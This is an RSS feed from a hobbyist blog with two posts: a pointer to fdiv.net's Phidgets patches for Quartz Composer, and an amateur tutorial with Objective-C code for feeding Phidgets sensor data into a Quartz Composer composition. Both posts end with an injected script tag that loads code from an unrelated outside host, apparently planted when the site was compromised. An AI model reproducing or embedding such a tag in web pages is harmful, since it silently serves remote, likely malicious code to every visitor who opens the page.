<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Adventures of Månsteri and Friends &#187; Phidgets</title>
	<atom:link href="http://originalhamsters.com/blog/tag/phidgets/feed/" rel="self" type="application/rss+xml" />
	<link>http://originalhamsters.com/blog</link>
	<description>DJing, VJing, Motion Graphics and all around hustlin'</description>
	<lastBuildDate>Sat, 26 Feb 2011 12:39:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Phidgets Patches for Quartz Composer from fdiv.net</title>
		<link>http://originalhamsters.com/blog/2007/05/24/phidgets-patches-for-quartz-composer-from-fdivnet/</link>
		<comments>http://originalhamsters.com/blog/2007/05/24/phidgets-patches-for-quartz-composer-from-fdivnet/#comments</comments>
		<pubDate>Thu, 24 May 2007 17:23:00 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Stuff That I Like]]></category>
		<category><![CDATA[Phidgets]]></category>
		<category><![CDATA[Quartz Composer]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=25</guid>
		<description><![CDATA[I wrote a tutorial a while ago for building a cocoa app that will enable you to control Quartz Composer with Phidgets sensors. Now there&#8217;s a LOT easier way to achieve this. Just use the new QC patches from fdiv.net.]]></description>
			<content:encoded><![CDATA[<p>I wrote a <a href="http://originalhamsters.com/blog/2007/02/phidgets-quartz-composer_01.html">tutorial</a> a while ago for building a cocoa app that will enable you to control Quartz Composer with Phidgets sensors. Now there&#8217;s a LOT easier way to achieve this. Just use the new QC patches from <a href="http://fdiv.net/2007/05/16/phidgets-patches-for-quartz-composer/#more-90">fdiv.net.</a><script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2007/05/24/phidgets-patches-for-quartz-composer-from-fdivnet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Phidgets + Quartz Composer</title>
		<link>http://originalhamsters.com/blog/2007/02/01/phidgets-quartz-composer/</link>
		<comments>http://originalhamsters.com/blog/2007/02/01/phidgets-quartz-composer/#comments</comments>
		<pubDate>Thu, 01 Feb 2007 07:29:00 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Phidgets]]></category>
		<category><![CDATA[Quartz Composer]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=10</guid>
		<description><![CDATA[We&#8217;re going to use Phidgets for a university project pretty soon, so I tried to come up with a way to control Quartz Composer with the Phidget sensors. Hiroaki has done Accelerometer and RFID custom patches that you can find here, but I want to use the Interface Kit 8/8/8 and be able to use [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re going to use <a href="http://phidgets.com/">Phidgets</a> for a university project pretty soon, so I tried to come up with a way to control Quartz Composer with the Phidget sensors. Hiroaki has done Accelerometer and RFID custom patches that you can find <a href="http://hiroaki.jp/index.php?Quartz%20Composer%2FCustom%20Patches">here</a>, but I want to use the <a href="http://phidgets.com/index.php?module=pncommerce&#038;func=itemview&amp;KID=117034033584.251.158.236&#038;IID=85">Interface Kit 8/8/8</a> and be able to use all the different sensors.</p>
<p>I&#8217;m not smart enough to program my own patches for QC, but I was able to build a Cocoa application that sends the data from the sensors to the QC composition. I got a little help from the Phidget Interface Kit -sample code that you can <a href="http://phidgets.com/modules.php?op=modload&amp;name=Downloads&#038;file=index&amp;req=viewdownload&#038;cid=3">download here</a> and from the instructions found from the <a href="http://phidgets.com/index.php?name=PNphpBB2&amp;file=viewtopic&#038;t=971">Phidgets forum</a>. The code on the forum post didn&#8217;t work for me so here&#8217;s a small tutorial that shows you how build a Cocoa app that will control your Quartz Composer composition with Phidgets sensors.</p>
<p>What do you need?</p>
<p>- A computer running Mac OSX 10.4 with the developer tools installed<br />- Phidgets Interface Kit 8/8/8 + some sensors<br />- Download and install the Mac OSX Framework 21 from <a href="http://phidgets.com/modules.php?op=modload&amp;name=Downloads&#038;file=index&amp;req=viewdownload&#038;cid=3">Phidgets website</a>. This will also include the source code that you need for this tutorial.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://phidgets.com/images/1018.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 329px; height: 239px;" src="http://phidgets.com/images/1018.jpg" alt="" border="0" /></a><br />OK. Let&#8217;s start</p>
<p><span style="font-weight: bold;">1)</span><br />Open the CocoaIFKit Xcode project from the /Examples/Source Code/CocoaIFKit folder.</p>
<p><span style="font-weight: bold;">2)</span><br />First we need to modify the project so that we can import and use a Quartz Composer Composition. These next steps are explained with more detail in the <a href="http://developer.apple.com/documentation/GraphicsImaging/Conceptual/QuartzComposer/qc_intro/chapter_1_section_1.html#//apple_ref/doc/uid/TP40001357-CH201-TPXREF101">Quartz Composer programming guide by Apple</a> and I recommend that you try the tutorials first, but I&#8217;ll go through the important stuff quickly.</p>
<p>- First, choose Project > Add to Project.<br />- Navigate to System/Library/Frameworks/Quartz.framework and add it to the project.<br />- Drag the Quartz.Framework to your Frameworks folder in the Groups &#038; Files list<br />- Double click the MainMenu.nib file and Interface Builder launches.<br />- If you haven&#8217;t done this before, you have to install the Quart Composer palette to Interface Builder. Choose Tools > Palettes > Palette Preferences and click add.<br />- Navigate to /Developer/Extras/Palettes/ and add QuartzComposer.palette.<br />- Now your palette window should show the Quartz Composer palette. The blue thing is QCView and the green thing is QCPatchController.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_OINBvqfpAe0/RcJRR3S16hI/AAAAAAAAACY/h0ycVdsOfMM/s1600-h/palette2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_OINBvqfpAe0/RcJRR3S16hI/AAAAAAAAACY/h0ycVdsOfMM/s400/palette2.jpg" alt="" id="BLOGGER_PHOTO_ID_5026669501441501714" border="0" /></a></p>
<p>- Drag the QCPatchController from the Palette window to the Instances tab in the MainMenu.nib window<br />- Go to the Cocoa Windows tab in the Palette window and drag a window to the Instances tab also. A new window appears.<br />- Your MainMenu.nib window should look something like this</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_OINBvqfpAe0/RcJRjXS16iI/AAAAAAAAACg/11hxROGYL54/s1600-h/mainmenu2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_OINBvqfpAe0/RcJRjXS16iI/AAAAAAAAACg/11hxROGYL54/s400/mainmenu2.jpg" alt="" id="BLOGGER_PHOTO_ID_5026669802089212450" border="0" /></a></p>
<p>- Select the new window and go to Tools > Show Inspector. In the Attributes section, make sure that the &#8220;Visible at launch time&#8221; is checked for the new window<br />- Now drag a QCView from the palette to the new window and resize the QCView the way you like it.<br />- Select the QCView and then open the Bindings pane of the Inspector window. Click the small triangle where it says patch.<br />- Choose QCPatchController from the “Bind to” pop-up menu. Enter <span style="font-style: italic;">patch</span> in the Controller Key text field.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_OINBvqfpAe0/Rc38KOUbqwI/AAAAAAAAADA/ZrZ8BSEo26U/s1600-h/patch.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_OINBvqfpAe0/Rc38KOUbqwI/AAAAAAAAADA/ZrZ8BSEo26U/s400/patch.jpg" alt="" id="BLOGGER_PHOTO_ID_5029953611415399170" border="0" /></a></p>
<p><span style="font-weight: bold;">3) </span><br />OK. Now we need a QC Composition to use with our app. I won&#8217;t go to any details about using Quartz Composer. There&#8217;s plenty of info for that available and this tutorial is already becoming too long.</p>
<p>What you need to do is to create any kind of composition that has a published input with the name of <span style="font-style: italic;">sensorZero</span>. I just used an Image With String connected to a Sprite and published the String input with the name <span style="font-style: italic;">sensorZero.</span> Save the .qtz file to the CocoaIFKit folder. I used the name phidgets.qtz.</p>
<p>Back in Xcode, drag phidgets.qtz to the Resources folder in the Groups &#038; Files list.<span style="font-weight: bold;"> </span>In Interface Builder, select the QCPatchCotroller from the MainMenu.nib window and select the Attributes pane of the Inspector and click &#8220;Load from Composition File&#8230;&#8221; Navigate to your phidgets.qtz file. Choose File > Test Interface. You should see your composition in the window. The sensors won&#8217;t work in the testing mode.</p>
<p><span style="font-weight: bold;">4)</span><br />Now the application shows our composition, but we want to change the published value with the sensors. Read on and I&#8217;ll tell you how to do just that.</p>
<p>- Select the blue PhidgetInterfaceKitController from the instances tab. Then select the classes tab.<br />- Choose Classes > Add Outlet to PhidgetInterfaceKitController.<br />- Name the new outlet theController<br />- In the Instances tab, ctrl-click and drag from the PhidgetInterfaceKitController to the QCPatchController</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_OINBvqfpAe0/RcJQcXS16gI/AAAAAAAAACQ/0VFSOYCvEOk/s1600-h/connect2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_OINBvqfpAe0/RcJQcXS16gI/AAAAAAAAACQ/0VFSOYCvEOk/s400/connect2.jpg" alt="" id="BLOGGER_PHOTO_ID_5026668582318500354" border="0" /></a></p>
<p>- Choose Connect to connect the outlet.<br />- Save and go to Xcode again.</p>
<p><span style="font-weight: bold;">5)<br /></span>Now we need to change the code so that the data goes from the sensors to the QC composition</p>
<p>- Double-click the PhidgetInterfaceKitController.h file.<br />- Add this to the list of outlets:<br /><span style="font-size:85%;"><br /><span style="font-weight: bold;"><span style="font-style: italic;"></span></span>IBOutlet id theController;</span></p>
<p>- Close the window and double-click the PhidgetInterfaceKitController.m file.<br />- Find the SensorChange section and add this code there:</p>
<p><span style="font-size:85%;">// sensors to Quartz Composer<br />if(Index==0){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorZero.value&#8221;];<br />}else if(Index==1){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorOne.value&#8221;];<br />}else if(Index==2){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorTwo.value&#8221;];<br />}else if(Index==3){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorThree.value&#8221;];<br />}else if(Index==4){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorFour.value&#8221;];<br />}else if(Index==5){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorFive.value&#8221;];<br />}else if(Index==6){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorSix.value&#8221;];<br />}else if(Index==7){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorSeven.value&#8221;];<br />}</span></p>
<p>- We only published the <span style="font-style: italic;">sensorZero </span>from QC, but this code works with all the 8 analog inputs in the Interface Kit (Index numbers 0-7). So you can publish more values from QC. Just name them correctly: <span style="font-style: italic;">sensorZero, sensorOne, sensorTwo&#8230;<br /></span>- <span style="font-weight: bold;">Note! </span>I&#8217;m a total amateur when it comes to Cocoa, so this code might not be the best way to do this but it works.</p>
<p><span style="font-weight: bold;">6) </span><br />That&#8217;s it. Save. Then choose Build and Go to see if it works.</p>
<p>If you want to change the QC composition, you need to reload the composition to the QCPatchController in Interface Builder and rebuild the app.</p>
<p>Pheew! This is the first tutorial I&#8217;ve ever written. I hope it&#8217;s useful to someone.<script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2007/02/01/phidgets-quartz-composer/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

